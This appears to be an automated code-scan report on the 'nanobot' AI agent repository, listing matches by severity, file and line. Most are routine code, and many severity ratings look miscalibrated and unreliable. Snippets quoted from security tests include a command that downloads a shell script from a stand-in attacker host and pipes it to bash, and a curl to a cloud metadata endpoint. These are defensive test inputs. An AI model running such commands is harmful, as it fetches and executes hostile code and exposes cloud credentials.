Lightweight, open-source AI agent for your tools, chats, and workflows.
5265 matches across 16 categories. Click a row to expand file-level details.
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | nanobot/config/schema.py | 487 | def _resolve_tool_config_refs() -> None: |
| LOW | nanobot/security/workspace_access.py | 248 | def validate_workspace_scope_payload( |
| LOW | nanobot/security/workspace_access.py | 288 | def workspace_scope_from_metadata( |
| LOW | nanobot/security/workspace_access.py | 317 | def resolve_effective_workspace_scope( |
| LOW | nanobot/security/workspace_access.py | 378 | def current_scope_allows_loopback(*, enabled: bool) -> bool: |
| LOW | nanobot/security/network.py | 148 | def _is_allowed_loopback_target( |
| LOW | nanobot/providers/image_generation.py | 141 | def register_image_gen_provider(cls: type[ImageGenerationProvider]) -> None: |
| LOW | nanobot/providers/image_generation.py | 162 | def image_gen_provider_configs(config: Any) -> dict[str, Any]: |
| LOW | nanobot/providers/image_generation.py | 1318 | def _collect_text_from_sse_event(event: dict[str, Any], text_parts: list[str]) -> None: |
| LOW | nanobot/providers/image_generation.py | 75 | def image_path_to_inline_data(path: str | Path) -> dict[str, str]: |
| LOW | nanobot/providers/image_generation.py | 493 | def _ollama_images_from_payload(payload: dict[str, Any]) -> list[str]: |
| LOW | nanobot/providers/image_generation.py | 740 | async def _aihubmix_images_from_payload( |
| LOW | nanobot/providers/image_generation.py | 890 | def _minimax_images_from_payload(payload: dict[str, Any]) -> list[str]: |
| LOW | nanobot/providers/image_generation.py | 1168 | def _openai_is_gpt_image_model(model: str) -> bool: |
| LOW | nanobot/providers/image_generation.py | 1184 | def _normalize_openai_image_size(image_size: str | None) -> str | None: |
| LOW | nanobot/providers/image_generation.py | 1191 | def _openai_explicit_size_supported( |
| LOW | nanobot/providers/image_generation.py | 1202 | async def _openai_images_from_payload( |
| LOW | nanobot/providers/image_generation.py | 1224 | def _codex_responses_images_from_payload(payload: dict[str, Any]) -> list[str]: |
| LOW | nanobot/providers/image_generation.py | 1297 | def _collect_images_from_sse_event(event: dict[str, Any], images: list[str]) -> None: |
| LOW | nanobot/providers/image_generation.py | 1433 | def _stepfun_images_from_payload(payload: dict[str, Any]) -> list[str]: |
| LOW | nanobot/providers/image_generation.py | 1572 | async def _zhipu_images_from_payload( |
| LOW | nanobot/providers/transcription.py | 13 | def _resolve_transcription_url(api_base: str | None, default_url: str) -> str: |
| LOW | nanobot/providers/transcription.py | 45 | async def _post_transcription_with_retry( |
| LOW | nanobot/providers/bedrock_provider.py | 100 | def _uses_adaptive_thinking_only(cls, model: str) -> bool: |
| LOW | nanobot/providers/openai_compat_provider.py | 474 | def _should_normalize_tool_call_ids(self) -> bool: |
| LOW | nanobot/providers/openai_compat_provider.py | 479 | def _normalize_tool_call_arguments(arguments: Any) -> str: |
| LOW | nanobot/providers/openai_compat_provider.py | 497 | def _coerce_content_to_string(content: Any) -> str | None: |
| LOW | nanobot/providers/openai_compat_provider.py | 110 | def _gateway_reasoning_extra_body(style: str, effort: str | None) -> dict[str, Any] | None: |
| LOW | nanobot/providers/openai_compat_provider.py | 198 | def _uses_openrouter_attribution(spec: "ProviderSpec | None", api_base: str | None) -> bool: |
| LOW | nanobot/providers/openai_compat_provider.py | 295 | def _merge_responses_extra_body( |
| LOW | nanobot/providers/openai_compat_provider.py | 732 | def _should_use_responses_api( |
| LOW | nanobot/providers/openai_compat_provider.py | 761 | def _responses_circuit_allows_probe( |
| LOW | nanobot/providers/openai_compat_provider.py | 776 | def _record_responses_failure(self, model: str | None, reasoning_effort: str | None) -> None: |
| LOW | nanobot/providers/openai_compat_provider.py | 787 | def _record_responses_success(self, model: str | None, reasoning_effort: str | None) -> None: |
| LOW | nanobot/providers/openai_compat_provider.py | 793 | def _should_fallback_from_responses_error(e: Exception) -> bool: |
| LOW | nanobot/providers/openai_compat_provider.py | 1123 | def _accum_legacy_function_call(function_call: Any) -> None: |
| LOW | nanobot/providers/github_copilot_provider.py | 57 | def get_github_copilot_login_status() -> OAuthToken | None: |
| LOW | nanobot/providers/github_copilot_provider.py | 177 | async def _get_copilot_access_token(self) -> str: |
| LOW | nanobot/providers/factory.py | 128 | def _resolve_fallback_presets(config: Config, primary: ModelPresetConfig) -> list[ModelPresetConfig]: |
| LOW | nanobot/providers/anthropic_provider.py | 548 | def _is_streaming_required_error(e: Exception) -> bool: |
| LOW | nanobot/providers/base.py | 235 | def _tool_cache_marker_indices(cls, tools: list[dict[str, Any]]) -> list[int]: |
| LOW | nanobot/providers/base.py | 254 | def _sanitize_request_messages( |
| LOW | nanobot/providers/base.py | 397 | def _enforce_role_alternation(messages: list[dict[str, Any]]) -> list[dict[str, Any]]: |
| LOW | nanobot/providers/base.py | 488 | def _strip_image_content_inplace(messages: list[dict[str, Any]]) -> bool: |
| LOW | nanobot/providers/base.py | 678 | def _extract_retry_after_from_headers(cls, headers: Any) -> float | None: |
| LOW | nanobot/providers/base.py | 718 | def _extract_retry_after_from_response(cls, response: LLMResponse) -> float | None: |
| LOW | nanobot/providers/openai_responses/parsing.py | 76 | async def consume_sse_with_reasoning( |
| LOW | nanobot/providers/openai_responses/parsing.py | 214 | def _extract_reasoning_summary_from_output(output: Any) -> str | None: |
| LOW | nanobot/utils/subagent_channel_display.py | 17 | def scrub_subagent_announce_body(content: str) -> str: |
| LOW | nanobot/utils/subagent_channel_display.py | 49 | def scrub_subagent_messages_for_channel(messages: list[dict[str, Any]]) -> None: |
| LOW | nanobot/utils/file_edit_events.py | 147 | def prepare_file_edit_tracker( |
| LOW | nanobot/utils/file_edit_events.py | 165 | def prepare_file_edit_trackers( |
| LOW | nanobot/utils/file_edit_events.py | 211 | def _resolve_apply_patch_paths( |
| LOW | nanobot/utils/file_edit_events.py | 239 | def _resolve_raw_file_edit_path( |
| LOW | nanobot/utils/file_edit_events.py | 259 | def build_file_edit_start_event( |
| LOW | nanobot/utils/file_edit_events.py | 278 | def build_file_edit_end_event( |
| LOW | nanobot/utils/file_edit_events.py | 306 | def build_file_edit_error_event( |
| LOW | nanobot/utils/file_edit_events.py | 323 | def build_file_edit_live_event( |
| LOW | nanobot/utils/file_edit_events.py | 342 | def build_file_edit_pending_event( |
| LOW | nanobot/utils/file_edit_events.py | 828 | def _extract_json_string_prefix(source: str, key: str) -> str | None: |
| 3644 more matches not shown… | |||
| Severity | File | Line | Snippet |
|---|---|---|---|
| MEDIUM | nanobot/providers/image_generation.py | 134 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/image_generation.py | 136 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/image_generation.py | 171 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/image_generation.py | 173 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/image_generation.py | 1325 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/image_generation.py | 1327 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/image_generation.py | 905 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/image_generation.py | 907 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/image_generation.py | 1036 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/image_generation.py | 1038 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/image_generation.py | 1448 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/image_generation.py | 1450 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/image_generation.py | 1591 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/image_generation.py | 1593 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/registry.py | 89 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/registry.py | 91 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/registry.py | 522 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/registry.py | 524 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 593 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 595 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 864 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 866 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1301 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1303 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 64 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 66 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 126 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/azure_openai_provider.py | 128 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/anthropic_provider.py | 543 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/anthropic_provider.py | 545 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/anthropic_provider.py | 117 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/anthropic_provider.py | 119 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/anthropic_provider.py | 339 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/anthropic_provider.py | 341 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/anthropic_provider.py | 381 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/anthropic_provider.py | 383 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/anthropic_provider.py | 419 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/anthropic_provider.py | 421 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/anthropic_provider.py | 487 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/providers/anthropic_provider.py | 489 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/utils/document.py | 227 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/utils/document.py | 229 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/utils/searchusage.py | 89 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/utils/searchusage.py | 91 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/memory.py | 37 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/memory.py | 39 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/memory.py | 431 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/memory.py | 433 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/memory.py | 848 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/memory.py | 850 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/tools/filesystem.py | 93 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/tools/filesystem.py | 95 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/tools/filesystem.py | 387 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/tools/filesystem.py | 389 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/tools/filesystem.py | 433 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/tools/filesystem.py | 435 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/tools/filesystem.py | 935 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/tools/filesystem.py | 937 | # --------------------------------------------------------------------------- |
| MEDIUM | nanobot/agent/tools/self.py | 189 | # ------------------------------------------------------------------ |
| MEDIUM | nanobot/agent/tools/self.py | 191 | # ------------------------------------------------------------------ |
| 541 more matches not shown… | |||
| Severity | File | Line | Snippet |
|---|---|---|---|
| CRITICAL | nanobot/pairing/store.py | 21 | from nanobot.utils.helpers import _write_text_atomic |
| CRITICAL | nanobot/config/paths.py | 7 | from nanobot.utils.helpers import ensure_dir |
| CRITICAL | nanobot/providers/image_generation.py | 18 | from nanobot.utils.helpers import detect_image_mime |
| CRITICAL | nanobot/providers/base.py | 16 | from nanobot.utils.helpers import image_placeholder_text |
| CRITICAL | nanobot/utils/media_decode.py | 16 | from nanobot.utils.helpers import safe_filename |
| CRITICAL | nanobot/utils/__init__.py | 9 | from nanobot.utils.helpers import ensure_dir |
| CRITICAL | nanobot/utils/runtime.py | 11 | from nanobot.utils.helpers import stringify_text_blocks |
| CRITICAL | nanobot/utils/document.py | 8 | from nanobot.utils.helpers import detect_image_mime |
| CRITICAL | nanobot/utils/artifacts.py | 15 | from nanobot.utils.helpers import detect_image_mime, ensure_dir |
| CRITICAL | nanobot/agent/progress_hook.py | 12 | from nanobot.utils.helpers import IncrementalThinkExtractor, strip_think |
| CRITICAL | nanobot/agent/loop.py | 54 | from nanobot.utils.helpers import image_placeholder_text |
| CRITICAL | nanobot/agent/loop.py | 55 | from nanobot.utils.helpers import truncate_text as truncate_text_fn |
| CRITICAL | nanobot/agent/tools/image_generation.py | 31 | from nanobot.utils.helpers import detect_image_mime |
| CRITICAL | nanobot/agent/tools/web.py | 20 | from nanobot.utils.helpers import build_image_content_blocks |
| CRITICAL | nanobot/agent/tools/filesystem.py | 20 | from nanobot.utils.helpers import build_image_content_blocks, detect_image_mime |
| CRITICAL | nanobot/agent/tools/message.py | 178 | from nanobot.utils.helpers import strip_think |
| CRITICAL | nanobot/cli/commands.py | 110 | from nanobot.utils.helpers import load_bundled_template |
| CRITICAL | nanobot/cli/commands.py | 80 | from nanobot.utils.helpers import sync_workspace_templates |
| CRITICAL | nanobot/api/server.py | 20 | from nanobot.utils.helpers import safe_filename |
| CRITICAL | nanobot/webui/mcp_presets_api.py | 24 | from nanobot.utils.helpers import ensure_dir |
| CRITICAL | nanobot/webui/media_api.py | 24 | from nanobot.utils.helpers import safe_filename |
| CRITICAL | nanobot/command/builtin.py | 15 | from nanobot.utils.helpers import build_status_content |
| CRITICAL | nanobot/channels/matrix.py | 50 | from nanobot.utils.helpers import safe_filename |
| CRITICAL | nanobot/channels/signal.py | 26 | from nanobot.utils.helpers import safe_filename, split_message |
| CRITICAL | nanobot/channels/telegram.py | 35 | from nanobot.utils.helpers import split_message |
| CRITICAL | nanobot/channels/discord.py | 21 | from nanobot.utils.helpers import safe_filename, split_message |
| CRITICAL | nanobot/channels/email.py | 28 | from nanobot.utils.helpers import safe_filename |
| CRITICAL | nanobot/channels/feishu.py | 1343 | response = self._client.cardkit.v1.card_element.content(request) |
| CRITICAL | nanobot/channels/feishu.py | 25 | from nanobot.utils.helpers import safe_filename |
| CRITICAL | nanobot/channels/feishu.py | 555 | response = self._client.im.v1.message_reaction.create(request) |
| CRITICAL | nanobot/channels/feishu.py | 596 | response = self._client.im.v1.message_reaction.delete(request) |
| CRITICAL | nanobot/channels/feishu.py | 933 | response = self._client.im.v1.image.create(request) |
| CRITICAL | nanobot/channels/feishu.py | 967 | response = self._client.im.v1.file.create(request) |
| CRITICAL | nanobot/channels/feishu.py | 995 | response = self._client.im.v1.message_resource.get(request) |
| CRITICAL | nanobot/channels/feishu.py | 1030 | response = self._client.im.v1.message_resource.get(request) |
| CRITICAL | nanobot/channels/feishu.py | 1134 | response = self._client.im.v1.message.get(request) |
| CRITICAL | nanobot/channels/feishu.py | 1191 | response = self._client.im.v1.message.reply(request) |
| CRITICAL | nanobot/channels/feishu.py | 1241 | response = self._client.im.v1.message.create(request) |
| CRITICAL | nanobot/channels/feishu.py | 1293 | response = self._client.cardkit.v1.card.create(request) |
| CRITICAL | nanobot/channels/feishu.py | 1380 | response = self._client.cardkit.v1.card.settings(request) |
| CRITICAL | nanobot/channels/weixin.py | 36 | from nanobot.utils.helpers import split_message |
| CRITICAL | nanobot/channels/slack.py | 22 | from nanobot.utils.helpers import safe_filename, split_message |
| CRITICAL | nanobot/session/webui_turns.py | 22 | from nanobot.utils.helpers import truncate_text |
| CRITICAL | tests/test_build_status.py | 3 | from nanobot.utils.helpers import build_status_content |
| CRITICAL | tests/utils/test_token_estimation.py | 1 | from nanobot.utils.helpers import estimate_prompt_tokens_chain |
| CRITICAL | tests/utils/test_searchusage.py | 13 | from nanobot.utils.helpers import build_status_content |
| CRITICAL | tests/utils/test_strip_think.py | 1 | from nanobot.utils.helpers import extract_reasoning, extract_think, strip_think |
| CRITICAL | tests/agent/test_context_prompt_cache.py | 221 | from nanobot.utils.helpers import sync_workspace_templates |
| CRITICAL | tests/agent/test_context_prompt_cache.py | 359 | from nanobot.utils.helpers import sync_workspace_templates |
| CRITICAL | tests/agent/test_context_prompt_cache.py | 376 | from nanobot.utils.helpers import sync_workspace_templates |
| CRITICAL | tests/agent/test_runner_persistence.py | 58 | from nanobot.utils.helpers import maybe_persist_tool_result |
| CRITICAL | tests/agent/test_runner_persistence.py | 87 | from nanobot.utils.helpers import maybe_persist_tool_result |
| CRITICAL | tests/agent/test_runner_persistence.py | 103 | from nanobot.utils.helpers import maybe_persist_tool_result |
| CRITICAL | tests/agent/test_onboard_logic.py | 27 | from nanobot.utils.helpers import sync_workspace_templates |
| CRITICAL | tests/channels/test_telegram_channel.py | 610 | edit_text = channel._app.bot.edit_message_text.call_args.kwargs.get("text", "") |
| CRITICAL | tests/channels/test_telegram_channel.py | 614 | send_text = channel._app.bot.send_message.call_args.kwargs.get("text", "") |
| CRITICAL | tests/channels/test_telegram_channel.py | 1797 | sent_text = channel._app.bot.send_message.call_args.kwargs.get("text", "") |
| CRITICAL | tests/channels/test_telegram_channel.py | 1807 | edited_text = channel._app.bot.edit_message_text.call_args.kwargs.get("text", "") |
| CRITICAL | tests/channels/test_telegram_channel.py | 648 | edit_text = channel._app.bot.edit_message_text.call_args.kwargs.get("text", "") |
| CRITICAL | tests/channels/test_telegram_channel.py | 720 | edit_text = channel._app.bot.edit_message_text.call_args.kwargs.get("text", "") |
| 59 more matches not shown… | |||
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | nanobot/security/network.py | 73 | except Exception as e: |
| LOW | nanobot/security/network.py | 110 | except Exception: |
| LOW | nanobot/providers/image_generation.py | 446 | except Exception: |
| LOW | nanobot/providers/image_generation.py | 1080 | except Exception as exc: |
| LOW | nanobot/providers/image_generation.py | 1271 | except Exception: |
| LOW | nanobot/providers/image_generation.py | 1288 | except Exception: |
| LOW | nanobot/providers/transcription.py | 99 | except Exception as e: |
| LOW | nanobot/providers/transcription.py | 116 | except Exception as e: |
| LOW | nanobot/providers/transcription.py | 122 | except Exception as e: |
| LOW | nanobot/providers/bedrock_provider.py | 116 | except Exception: |
| LOW | nanobot/providers/bedrock_provider.py | 183 | except Exception: |
| LOW | nanobot/providers/bedrock_provider.py | 211 | except Exception: |
| LOW | nanobot/providers/bedrock_provider.py | 621 | except Exception: |
| LOW | nanobot/providers/bedrock_provider.py | 693 | except Exception as e: |
| LOW | nanobot/providers/bedrock_provider.py | 756 | except Exception as e: |
| LOW | nanobot/providers/openai_compat_provider.py | 487 | except Exception: |
| LOW | nanobot/providers/openai_compat_provider.py | 506 | except Exception: |
| LOW | nanobot/providers/openai_compat_provider.py | 286 | except Exception: |
| LOW | nanobot/providers/openai_compat_provider.py | 1233 | except Exception: |
| LOW | nanobot/providers/openai_compat_provider.py | 1326 | except Exception as responses_error: |
| LOW | nanobot/providers/openai_compat_provider.py | 1343 | except Exception as e: |
| LOW | nanobot/providers/openai_compat_provider.py | 1401 | except Exception as responses_error: |
| LOW | nanobot/providers/openai_compat_provider.py | 1482 | except Exception as e: |
| LOW | nanobot/providers/azure_openai_provider.py | 147 | except Exception as e: |
| LOW | nanobot/providers/azure_openai_provider.py | 182 | except Exception as e: |
| LOW | nanobot/providers/openai_codex_provider.py | 80 | except Exception as e: |
| LOW | nanobot/providers/openai_codex_provider.py | 96 | except Exception as e: |
| LOW | nanobot/providers/fallback_provider.py | 198 | except Exception as exc: |
| LOW | nanobot/providers/anthropic_provider.py | 69 | except Exception: |
| LOW | nanobot/providers/anthropic_provider.py | 571 | except Exception as e: |
| LOW | nanobot/providers/anthropic_provider.py | 680 | except Exception as e: |
| LOW | nanobot/providers/base.py | 358 | except Exception: |
| LOW | nanobot/providers/base.py | 513 | except Exception as exc: |
| LOW | nanobot/providers/base.py | 557 | except Exception as exc: |
| LOW | nanobot/providers/base.py | 710 | except Exception: |
| LOW | nanobot/providers/openai_responses/parsing.py | 42 | except Exception: |
| LOW | nanobot/providers/openai_responses/parsing.py | 175 | except Exception: |
| LOW | nanobot/providers/openai_responses/parsing.py | 268 | except Exception: |
| LOW | nanobot/providers/openai_responses/parsing.py | 385 | except Exception: |
| LOW | nanobot/utils/gitstore.py | 115 | except Exception: |
| LOW | nanobot/utils/gitstore.py | 151 | except Exception: |
| LOW | nanobot/utils/gitstore.py | 176 | except Exception: |
| LOW | nanobot/utils/gitstore.py | 245 | except Exception: |
| LOW | nanobot/utils/gitstore.py | 268 | except Exception: |
| LOW | nanobot/utils/gitstore.py | 298 | except Exception: |
| LOW | nanobot/utils/gitstore.py | 369 | except Exception: |
| LOW | nanobot/utils/media_decode.py | 46 | except Exception: |
| LOW | nanobot/utils/file_edit_events.py | 69 | except Exception: |
| LOW | nanobot/utils/file_edit_events.py | 80 | except Exception: |
| LOW | nanobot/utils/file_edit_events.py | 181 | except Exception: |
| LOW | nanobot/utils/file_edit_events.py | 252 | except Exception: |
| LOW | nanobot/utils/runtime.py | 147 | except Exception: |
| LOW | nanobot/utils/document.py | 94 | except Exception as e: |
| LOW | nanobot/utils/document.py | 109 | except Exception as e: |
| LOW | nanobot/utils/document.py | 136 | except Exception as e: |
| LOW | nanobot/utils/document.py | 157 | except Exception as e: |
| LOW | nanobot/utils/document.py | 196 | except Exception as e: |
| LOW | nanobot/utils/searchusage.py | 120 | except Exception as e: |
| LOW | nanobot/utils/helpers.py | 353 | except Exception: |
| LOW | nanobot/utils/helpers.py | 461 | except Exception: |
| 291 more matches not shown… | |||
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | hatch_build.py | 21 | |
| LOW | nanobot/nanobot.py | 3 | |
| LOW | nanobot/pairing/store.py | 8 | |
| LOW | nanobot/pairing/__init__.py | 3 | |
| LOW | nanobot/pairing/__init__.py | 3 | |
| LOW | nanobot/pairing/__init__.py | 3 | |
| LOW | nanobot/pairing/__init__.py | 3 | |
| LOW | nanobot/pairing/__init__.py | 3 | |
| LOW | nanobot/pairing/__init__.py | 3 | |
| LOW | nanobot/pairing/__init__.py | 3 | |
| LOW | nanobot/pairing/__init__.py | 3 | |
| LOW | nanobot/pairing/__init__.py | 3 | |
| LOW | nanobot/pairing/__init__.py | 3 | |
| LOW | nanobot/config/paths.py | 3 | |
| LOW | nanobot/config/__init__.py | 3 | |
| LOW | nanobot/config/__init__.py | 3 | |
| LOW | nanobot/config/__init__.py | 4 | |
| LOW | nanobot/config/__init__.py | 4 | |
| LOW | nanobot/config/__init__.py | 4 | |
| LOW | nanobot/config/__init__.py | 4 | |
| LOW | nanobot/config/__init__.py | 4 | |
| LOW | nanobot/config/__init__.py | 4 | |
| LOW | nanobot/config/__init__.py | 4 | |
| LOW | nanobot/config/__init__.py | 4 | |
| LOW | nanobot/config/__init__.py | 4 | |
| LOW | nanobot/config/__init__.py | 4 | |
| LOW | nanobot/config/__init__.py | 4 | |
| LOW | nanobot/config/__init__.py | 17 | |
| LOW | nanobot/config/schema.py | 2 | |
| LOW | nanobot/security/workspace_access.py | 3 | |
| LOW | nanobot/security/workspace_policy.py | 7 | |
| LOW | nanobot/security/network.py | 3 | |
| LOW | nanobot/providers/image_generation.py | 3 | |
| LOW | nanobot/providers/registry.py | 13 | |
| LOW | nanobot/providers/bedrock_provider.py | 3 | |
| LOW | nanobot/providers/__init__.py | 3 | |
| LOW | nanobot/providers/__init__.py | 8 | |
| LOW | nanobot/providers/__init__.py | 8 | |
| LOW | nanobot/providers/__init__.py | 31 | |
| LOW | nanobot/providers/__init__.py | 32 | |
| LOW | nanobot/providers/__init__.py | 33 | |
| LOW | nanobot/providers/__init__.py | 34 | |
| LOW | nanobot/providers/__init__.py | 35 | |
| LOW | nanobot/providers/__init__.py | 36 | |
| LOW | nanobot/providers/openai_compat_provider.py | 3 | |
| LOW | nanobot/providers/github_copilot_provider.py | 3 | |
| LOW | nanobot/providers/factory.py | 3 | |
| LOW | nanobot/providers/azure_openai_provider.py | 8 | |
| LOW | nanobot/providers/openai_codex_provider.py | 3 | |
| LOW | nanobot/providers/fallback_provider.py | 3 | |
| LOW | nanobot/providers/anthropic_provider.py | 3 | |
| LOW | nanobot/providers/openai_responses/parsing.py | 3 | |
| LOW | nanobot/providers/openai_responses/__init__.py | 3 | |
| LOW | nanobot/providers/openai_responses/__init__.py | 3 | |
| LOW | nanobot/providers/openai_responses/__init__.py | 3 | |
| LOW | nanobot/providers/openai_responses/__init__.py | 3 | |
| LOW | nanobot/providers/openai_responses/__init__.py | 9 | |
| LOW | nanobot/providers/openai_responses/__init__.py | 9 | |
| LOW | nanobot/providers/openai_responses/__init__.py | 9 | |
| LOW | nanobot/providers/openai_responses/__init__.py | 9 | |
| 229 more matches not shown… | |||
| Severity | File | Line | Snippet |
|---|---|---|---|
| HIGH | hatch_build.py | 5 | to remember `cd webui && bun run build` beforehand. |
| HIGH | hatch_build.py | 10 | development; webui contributors use `cd webui && bun run dev` (Vite HMR) and |
| HIGH | hatch_build.py | 47 | "(use `cd webui && bun run build` to bundle webui manually)" |
| HIGH | nanobot/web/__init__.py | 6 | source checkout it stays empty until you run ``cd webui && bun run build`` |
| HIGH | nanobot/web/__init__.py | 7 | (or use the Vite dev server at ``cd webui && bun run dev``). |
| HIGH | tests/tools/test_exec_security.py | 133 | command="echo start && curl http://169.254.169.254/latest/meta-data/ && echo done" |
| HIGH | tests/tools/test_exec_security.py | 260 | 'rm test_print.txt 2>/dev/null; echo "done"', |
| HIGH | tests/tools/test_exec_security.py | 290 | command=f'rm {target} 2>/dev/null; echo "done"', |
| HIGH | tests/tools/test_exec_platform.py | 359 | cmd = r'copy \\server\data\file.txt C:\local\temp && ls /tmp' |
| HIGH | tests/tools/test_exec_env.py | 96 | '/tmp/bin && curl http://attacker.com/shell.sh | bash', |
| HIGH | tests/security/test_security_network.py | 174 | assert not contains_internal_url("echo hello && ls -la") |
| HIGH | tests/utils/test_workspace_violation_throttle.py | 33 | {"command": "cat /Users/x/Downloads/01.md && echo done"}, |
| HIGH | tests/agent/test_cursor_recovery.py | 54 | '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "null"}\n' |
| HIGH | tests/agent/test_cursor_recovery.py | 95 | '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "also bad"}\n' |
| HIGH | tests/agent/test_tool_hint.py | 46 | cmd = "cd /very/long/path && cat file && echo done && sleep 1 && ls -la" |
| HIGH | tests/agent/test_tool_hint.py | 53 | cmd = "cd D:\\Documents\\GitHub\\nanobot\\.worktree\\tomain\\nanobot && git diff origin/main...pr-2706 --name-on |
| HIGH | tests/agent/test_tool_hint.py | 60 | cmd = "cd /home/user/projects/nanobot/.worktree/tomain && make build" |
| HIGH | tests/agent/test_tool_hint.py | 67 | cmd = "cd ~/projects/nanobot/workspace && pytest tests/" |
| HIGH | tests/agent/test_tool_hint.py | 93 | cmd = "cd D:\\Documents\\GitHub\\project && npm run build && npm test" |
| HIGH | tests/agent/test_tool_hint.py | 259 | cmd = "cd /very/long/path/to/some/project && npm run build && npm test" |
| HIGH | tests/agent/test_tool_hint.py | 265 | cmd = "cd /very/long/path/to/some/project && npm run build && npm test" |
| HIGH | tests/agent/test_tool_hint.py | 272 | cmd = "cd /home/user/project && npm install && npm run build" |
| HIGH | tests/channels/test_websocket_channel.py | 149 | ('{"content": null}', None), # null content |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | nanobot/pairing/store.py | 198 | |
| LOW | nanobot/providers/image_generation.py | 1243 | |
| LOW | nanobot/providers/image_generation.py | 1297 | |
| LOW | nanobot/providers/image_generation.py | 677 | |
| LOW | nanobot/providers/bedrock_provider.py | 516 | |
| LOW | nanobot/providers/openai_compat_provider.py | 510 | |
| LOW | nanobot/providers/openai_compat_provider.py | 880 | |
| LOW | nanobot/providers/openai_compat_provider.py | 969 | |
| LOW | nanobot/providers/openai_compat_provider.py | 1090 | |
| LOW | nanobot/providers/openai_compat_provider.py | 1220 | |
| LOW | nanobot/providers/openai_compat_provider.py | 1305 | |
| LOW | nanobot/providers/openai_compat_provider.py | 1346 | |
| LOW | nanobot/providers/factory.py | 31 | |
| LOW | nanobot/providers/openai_codex_provider.py | 237 | |
| LOW | nanobot/providers/fallback_provider.py | 136 | |
| LOW | nanobot/providers/anthropic_provider.py | 56 | |
| LOW | nanobot/providers/anthropic_provider.py | 121 | |
| LOW | nanobot/providers/anthropic_provider.py | 492 | |
| LOW | nanobot/providers/anthropic_provider.py | 589 | |
| LOW | nanobot/providers/base.py | 173 | |
| LOW | nanobot/providers/base.py | 349 | |
| LOW | nanobot/providers/base.py | 397 | |
| LOW | nanobot/providers/base.py | 466 | |
| LOW | nanobot/providers/base.py | 488 | |
| LOW | nanobot/providers/base.py | 745 | |
| LOW | nanobot/providers/openai_responses/parsing.py | 76 | |
| LOW | nanobot/providers/openai_responses/parsing.py | 231 | |
| LOW | nanobot/providers/openai_responses/parsing.py | 307 | |
| LOW | nanobot/providers/openai_responses/converters.py | 61 | |
| LOW | nanobot/utils/gitstore.py | 157 | |
| LOW | nanobot/utils/gitstore.py | 212 | |
| LOW | nanobot/utils/gitstore.py | 323 | |
| LOW | nanobot/utils/file_edit_events.py | 125 | |
| LOW | nanobot/utils/file_edit_events.py | 828 | |
| LOW | nanobot/utils/file_edit_events.py | 869 | |
| LOW | nanobot/utils/file_edit_events.py | 597 | |
